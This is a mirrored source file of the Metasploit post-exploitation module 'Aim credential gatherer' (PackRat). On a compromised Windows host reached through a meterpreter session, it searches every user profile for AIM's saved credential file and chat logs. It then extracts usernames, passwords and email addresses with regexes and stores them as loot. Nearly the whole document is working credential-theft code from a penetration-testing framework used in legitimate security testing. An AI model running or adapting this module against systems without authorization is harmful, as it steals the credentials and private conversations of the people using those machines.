CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/credentials/aim.rb
Views: 11704
1
# frozen_string_literal: true
2
3
##
4
# This module requires Metasploit: https://metasploit.com/download
5
# Current source: https://github.com/rapid7/metasploit-framework
6
##
7
8
class MetasploitModule < Msf::Post
9
# this associative array defines the artifacts known to PackRat
10
include Msf::Post::File
11
include Msf::Post::Windows::UserProfiles
12
include Msf::Post::Windows::Packrat
13
ARTIFACTS =
14
{
15
application: 'AIM',
16
app_category: 'chats',
17
gatherable_artifacts: [
18
{
19
filetypes: 'logins',
20
path: 'LocalAppData',
21
dir: 'AIM',
22
artifact_file_name: 'aimx.bin',
23
description: "AIM's saved Username and Passwords",
24
credential_type: 'text',
25
regex_search: [
26
{
27
extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
28
extraction_type: 'credentials',
29
regex: [
30
'(?i-mx:password.*)',
31
'(?i-mx:username.*)'
32
]
33
},
34
{
35
extraction_description: 'searches for Email TO/FROM address',
36
extraction_type: 'Email addresses',
37
regex: [
38
'(?i-mx:to:.*)',
39
'(?i-mx:from:.*)'
40
]
41
}
42
]
43
},
44
{
45
filetypes: 'chat_logs',
46
path: 'LocalAppData',
47
dir: 'AIM',
48
artifact_file_name: '*.html',
49
description: "AIM's chat logs with date and times",
50
credential_type: 'text',
51
regex_search: [
52
{
53
extraction_description: 'Searches for credentials (USERNAMES/PASSWORDS)',
54
extraction_type: 'credentials',
55
regex: [
56
'(?i-mx:password.*)',
57
'(?i-mx:username.*)'
58
]
59
},
60
{
61
extraction_description: 'searches for Email TO/FROM address',
62
extraction_type: 'Email addresses',
63
regex: [
64
'(?i-mx:to:.*)',
65
'(?i-mx:from:.*)'
66
]
67
}
68
]
69
}
70
]
71
}.freeze
72
73
def initialize(info = {})
74
super(
75
update_info(
76
info,
77
'Name' => 'Aim credential gatherer',
78
'Description' => %q{
79
PackRat is a post-exploitation module that gathers file and information artifacts from end users' systems.
80
PackRat searches for and downloads files of interest (such as config files, and received and deleted emails) and extracts information (such as contacts and usernames and passwords), using regexp, JSON, XML, and SQLite queries.
81
Further details can be found in the module documentation.
82
This is a module that searches for Aim credentials on a windows remote host.
83
},
84
'License' => MSF_LICENSE,
85
'Author' => [
86
'Kazuyoshi Maruta',
87
'Daniel Hallsworth',
88
'Barwar Salim M',
89
'Z. Cliffe Schreuders' # http://z.cliffe.schreuders.org
90
],
91
'Platform' => ['win'],
92
'SessionTypes' => ['meterpreter'],
93
'Notes' => {
94
'Stability' => [CRASH_SAFE],
95
'Reliability' => [],
96
'SideEffects' => []
97
}
98
)
99
)
100
101
register_options(
102
[
103
OptRegexp.new('REGEX', [false, 'Match a regular expression', '^password']),
104
OptBool.new('STORE_LOOT', [false, 'Store artifacts into loot database', true]),
105
OptBool.new('EXTRACT_DATA', [false, 'Extract data and stores in a separate file', true]),
106
# enumerates the options based on the artifacts that are defined below
107
OptEnum.new('ARTIFACTS', [
108
false, 'Type of artifacts to collect', 'All', ARTIFACTS[:gatherable_artifacts].map do |k|
109
k[:filetypes]
110
end.uniq.unshift('All')
111
])
112
]
113
)
114
end
115
116
def run
117
print_status('Filtering based on these selections: ')
118
print_status("ARTIFACTS: #{datastore['ARTIFACTS'].capitalize}")
119
print_status("STORE_LOOT: #{datastore['STORE_LOOT']}")
120
print_status("EXTRACT_DATA: #{datastore['EXTRACT_DATA']}\n")
121
122
# used to grab files for each user on the remote host
123
grab_user_profiles.each do |userprofile|
124
run_packrat(userprofile, ARTIFACTS)
125
end
126
127
print_status 'PackRat credential sweep Completed'
128
end
129
end
130
131